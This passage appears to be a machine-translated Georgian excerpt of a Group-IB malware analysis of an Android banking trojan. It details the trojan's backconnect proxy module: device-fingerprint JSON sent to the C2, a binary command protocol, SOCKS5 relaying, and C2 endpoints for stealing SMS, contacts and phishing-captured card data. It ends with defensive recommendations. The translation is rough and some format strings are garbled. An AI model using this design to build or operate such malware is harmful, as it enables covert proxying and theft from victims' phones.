შესასწავლი აპლიკაცია შეიცავს Backconnect Proxy მოდულს (შემდგომში Proxy მოდული), რომელსაც აქვს ცალკე კლასი, რომელიც მოიცავს სტატიკური ველებს კონფიგურაციით. კონფიგურაციის მონაცემები ინახება ნიმუშში მკაფიო ფორმით:

პროქსი მოდულის მიერ შესრულებული ყველა მოქმედება შესულია ფაილებში. ამისათვის, გარე საცავში აპლიკაცია ქმნის დირექტორია სახელწოდებით "logs" (ProxyConfigClass.logsDir ველი კონფიგურაციის კლასში), რომელშიც ინახება ჟურნალის ფაილები. შესვლა ხდება ფაილებში სახელებით:

1. main.txt – ამ ფაილში შესულია კლასის სამუშაო სახელწოდებით CommandServer. შემდეგში, ამ ფაილში string str-ის შესვლა აღინიშნა როგორც mainLog(str).
2. სესია-.txt — ეს ფაილი ინახავს ჟურნალის მონაცემებს, რომლებიც დაკავშირებულია კონკრეტულ პროქსი სესიასთან. შემდეგში, ამ ფაილში string str-ის ჩაწერა აღინიშნა როგორც sessionLog (str).
3. server.txt – ეს ფაილი გამოიყენება ზემოაღწერილ ფაილებში ჩაწერილი ყველა მონაცემის დასაწერად.

ჟურნალის მონაცემების ფორმატი:

[თემა[], id[]]: log-string

გამონაკლისები, რომლებიც წარმოიქმნება Proxy მოდულის მუშაობის დროს, ასევე შედის ფაილში. ამისათვის აპლიკაცია წარმოქმნის JSON ობიექტს შემდეგ ფორმატში:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

შემდეგ ის აკონვერტებს მას სიმებიანი წარმომადგენლობით და აღრიცხავს მას.

Proxy მოდული ამოქმედდება შესაბამისი ბრძანების მიღების შემდეგ. როდესაც მიიღება Proxy მოდულის გაშვების ბრძანება, აპლიკაცია იწყებს სერვისს, რომელსაც ეწოდება MainService, რომელიც პასუხისმგებელია Proxy მოდულის ფუნქციონირების მართვაზე - მის დაწყებასა და გაჩერებაზე.

სერვისის დაწყების ეტაპები:

1. იწყებს ტაიმერს, რომელიც მუშაობს წუთში ერთხელ და ამოწმებს Proxy მოდულის აქტივობას. თუ მოდული არ არის აქტიური, ის იწყებს მას.
ასევე, როდესაც მოვლენა ხდება android.net.conn.CONNECTIVITY_CHANGE პროქსი მოდული გაშვებულია.

2. აპლიკაცია ქმნის wake-lock პარამეტრს PARTIAL_WAKE_LOCK და იპყრობს მას. ეს ხელს უშლის მოწყობილობის CPU-ს ძილის რეჟიმში გადასვლას.

3. ამუშავებს Proxy მოდულის ბრძანებების დამუშავების კლასს, პირველ რიგში, ხაზს mainLog ("სერვერის დაწყება") и

სერვერი::start() ჰოსტი[], commandPort[], proxyPort[]

სადაც proxy_cnc, command_port და proxy_port – პროქსი სერვერის კონფიგურაციიდან მიღებული პარამეტრები.

ბრძანებების დამუშავების კლასი ეწოდება CommandConnection. გაშვებისთანავე, ასრულებს შემდეგ მოქმედებებს:

4. აკავშირებს ProxyConfigClass.host: ProxyConfigClass.commandPort და აგზავნის მონაცემებს ინფიცირებული მოწყობილობის შესახებ იქ JSON ფორმატში:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

სად:

• id - იდენტიფიკატორი, ცდილობს მიიღოს მნიშვნელობა "id" ველთან ერთად Shared Preference ფაილიდან სახელად "x". თუ ეს მნიშვნელობა ვერ იქნა მიღებული, ის წარმოქმნის ახალს. ამრიგად, Proxy მოდულს აქვს საკუთარი იდენტიფიკატორი, რომელიც გენერირდება Bot ID-ის მსგავსად.
• imei — მოწყობილობის IMEI. თუ მნიშვნელობის მიღების პროცესში მოხდა შეცდომა, ამ ველის ნაცვლად დაიწერება შეცდომის ტექსტური შეტყობინება.
• imsi — მოწყობილობის საერთაშორისო მობილური აბონენტის იდენტიფიკაცია. თუ მნიშვნელობის მიღების პროცესში მოხდა შეცდომა, ამ ველის ნაცვლად დაიწერება შეცდომის ტექსტური შეტყობინება.
• მოდელი - საბოლოო პროდუქტის ხილული სახელი საბოლოო მომხმარებლისთვის.
• მწარმოებელი — პროდუქტის/ტექნიკის მწარმოებელი (Build.MANUFACTURER).
• androidVersion - სტრიქონი ფორმატში " (),"
• ქვეყანა — მოწყობილობის ამჟამინდელი მდებარეობა.
• partnerId არის ცარიელი სტრიქონი.
• packageName – პაკეტის სახელი.
• networkType — მიმდინარე ქსელის კავშირის ტიპი (მაგალითად: „WIFI“, „MOBILE“). შეცდომის შემთხვევაში აბრუნებს null.
• აქვს GsmSupport – true – თუ ტელეფონს აქვს GSM მხარდაჭერა, წინააღმდეგ შემთხვევაში false.
• simReady - SIM ბარათის მდგომარეობა.
• simCountry - ISO ქვეყნის კოდი (SIM ბარათის პროვაიდერზე დაყრდნობით).
• networkOperator — ოპერატორის სახელი. თუ მნიშვნელობის მიღების პროცესში მოხდა შეცდომა, ამ ველის ნაცვლად დაიწერება შეცდომის ტექსტური შეტყობინება.
• simOperator — სერვისის პროვაიდერის სახელი (SPN). თუ მნიშვნელობის მიღების პროცესში მოხდა შეცდომა, ამ ველის ნაცვლად დაიწერება შეცდომის ტექსტური შეტყობინება.
• ვერსია - ეს ველი ინახება კონფიგურაციის კლასში; ბოტის შემოწმებული ვერსიებისთვის ის ტოლი იყო "1.6".

5. გადადის სერვერიდან ბრძანებების მოლოდინის რეჟიმში. სერვერის ბრძანებები მოდის ფორმატში:

• 0 ოფსეტი – ბრძანება
• 1 ოფსეტი – sessionId
• 2 ოფსეტი – სიგრძე
• 4 ოფსეტური - მონაცემები

როდესაც ბრძანება მოდის, აპლიკაცია იწერება:
mainLog ("Header { sessionId], ტიპი[], სიგრძე[] }")

სერვერიდან შესაძლებელია შემდეგი ბრძანებები:

სახელი	Command	თარიღი	აღწერა
კავშირის ID	0	კავშირის ID	შექმენით ახალი კავშირი
ძილის	3	დრო	შეაჩერეთ პროქსი მოდული
ᲞᲘᲜᲒ - ᲞᲝᲜᲒᲘ	4	-	გაგზავნეთ PONG შეტყობინება

PONG შეტყობინება შედგება 4 ბაიტისაგან და ასე გამოიყურება: 0x04000000.

როდესაც ConnectId ბრძანება მიიღება (ახალი კავშირის შესაქმნელად) CommandConnection ქმნის კლასის მაგალითს ProxyConnection.

• პროქსინგში მონაწილეობს ორი კლასი: ProxyConnection и ბოლო. კლასის შექმნისას ProxyConnection მისამართთან დაკავშირება ProxyConfigClass.host: ProxyConfigClass.proxyPort და JSON ობიექტის გადაცემა:

 {
    "id":<%connectionId%>
}

საპასუხოდ, სერვერი აგზავნის SOCKS5 შეტყობინებას, რომელიც შეიცავს დისტანციური სერვერის მისამართს, რომელთანაც კავშირი უნდა დამყარდეს. ამ სერვერთან ურთიერთქმედება ხდება კლასის მეშვეობით ბოლო. კავშირის დაყენება სქემატურად შეიძლება წარმოდგენილი იყოს შემდეგნაირად:

ქსელის ურთიერთქმედება

ქსელის სნაიფერების მიერ ტრაფიკის ანალიზის თავიდან ასაცილებლად, CnC სერვერსა და აპლიკაციას შორის ურთიერთქმედება შეიძლება დაცული იყოს SSL პროტოკოლის გამოყენებით. ყველა გადაცემული მონაცემი, როგორც სერვერიდან, ასევე სერვერიდან, წარმოდგენილია JSON ფორმატში. აპლიკაცია ასრულებს შემდეგ მოთხოვნებს ოპერაციის დროს:

• http://<%CnC%>/api/v1/set_state.php - ბრძანების შესრულების შედეგი.
• http://<%CnC%>/api/v1/get.php - ბრძანების მიღება.
• http://<%CnC%>/api/v1/load_sms.php — SMS შეტყობინებების ჩამოტვირთვა ინფიცირებული მოწყობილობიდან.
• http://<%CnC%>/api/v1/load_ab.php — ინფიცირებული მოწყობილობიდან კონტაქტების სიის ატვირთვა.
• http://<%CnC%>/api/v1/aevents.php – მოთხოვნა ხდება პრეფერენციულ ფაილში მდებარე პარამეტრების განახლებისას.
• http://<%CnC%>/api/v1/set_card.php — Google Play Market-ის სახელით დაფარული ფიშინგის ფანჯრის გამოყენებით მიღებული მონაცემების ატვირთვა.
• http://<%CnC%>/api/v1/logs.php - ჟურნალის მონაცემების ატვირთვა.
• http://<%CnC%>/api/v1/records.php – ფიშინგ ფანჯრების მეშვეობით მიღებული მონაცემების ატვირთვა.
• http://<%CnC%>/api/v1/set_error.php - შეტყობინება დაშვებული შეცდომის შესახებ.

რეკომენდაციები

იმისათვის, რომ დაიცვან თავიანთი მომხმარებლები მობილური ტროიანების საფრთხისგან, კომპანიებმა უნდა გამოიყენონ ყოვლისმომცველი გადაწყვეტილებები, რომლებიც საშუალებას მისცემს მათ დააკვირდნენ და თავიდან აიცილონ მავნე მოქმედება მომხმარებლის მოწყობილობებზე დამატებითი პროგრამული უზრუნველყოფის დაყენების გარეშე.

ამისათვის, მობილური ტროასების გამოვლენის ხელმოწერის მეთოდები უნდა გაძლიერდეს ტექნოლოგიებით, როგორც კლიენტის, ასევე თავად აპლიკაციის ქცევის გასაანალიზებლად. დაცვა ასევე უნდა მოიცავდეს მოწყობილობის იდენტიფიკაციის ფუნქციას ციფრული თითის ანაბეჭდის ტექნოლოგიის გამოყენებით, რაც შესაძლებელს გახდის გავიგოთ, როდის გამოიყენება ანგარიში ატიპიური მოწყობილობიდან და უკვე მოხვდა თაღლითის ხელში.

ფუნდამენტურად მნიშვნელოვანი პუნქტია ჯვარედინი ანალიზის ხელმისაწვდომობა, რომელიც საშუალებას აძლევს კომპანიებს გააკონტროლონ რისკები, რომლებიც წარმოიქმნება არა მხოლოდ ინტერნეტში, არამედ მობილურ არხზეც, მაგალითად, მობილური ბანკის აპლიკაციებში, კრიპტოვალუტებთან ტრანზაქციებში და სხვა შესაძლებელია ოპერაციების განხორციელება.ფინანსური გარიგება.

უსაფრთხოების წესები მომხმარებლისთვის:

• არ დააინსტალიროთ აპლიკაციები მობილური მოწყობილობისთვის Android OS-ით Google Play-ს გარდა სხვა წყაროებიდან, განსაკუთრებული ყურადღება მიაქციეთ აპლიკაციის მიერ მოთხოვნილ უფლებებს;
• რეგულარულად დააინსტალირეთ Android OS განახლებები;
• ყურადღება მიაქციეთ გადმოწერილი ფაილების გაფართოებებს;
• არ ეწვიოთ საეჭვო რესურსებს;
• არ დააჭიროთ SMS შეტყობინებებში მიღებულ ბმულებს.

მთავარ როლში სემიონ როგაჩოვა, უმცროსი სპეციალისტი მავნე პროგრამების კვლევაში Group-IB კომპიუტერული სასამართლო ექსპერტიზის ლაბორატორიაში.

წყარო: www.habr.com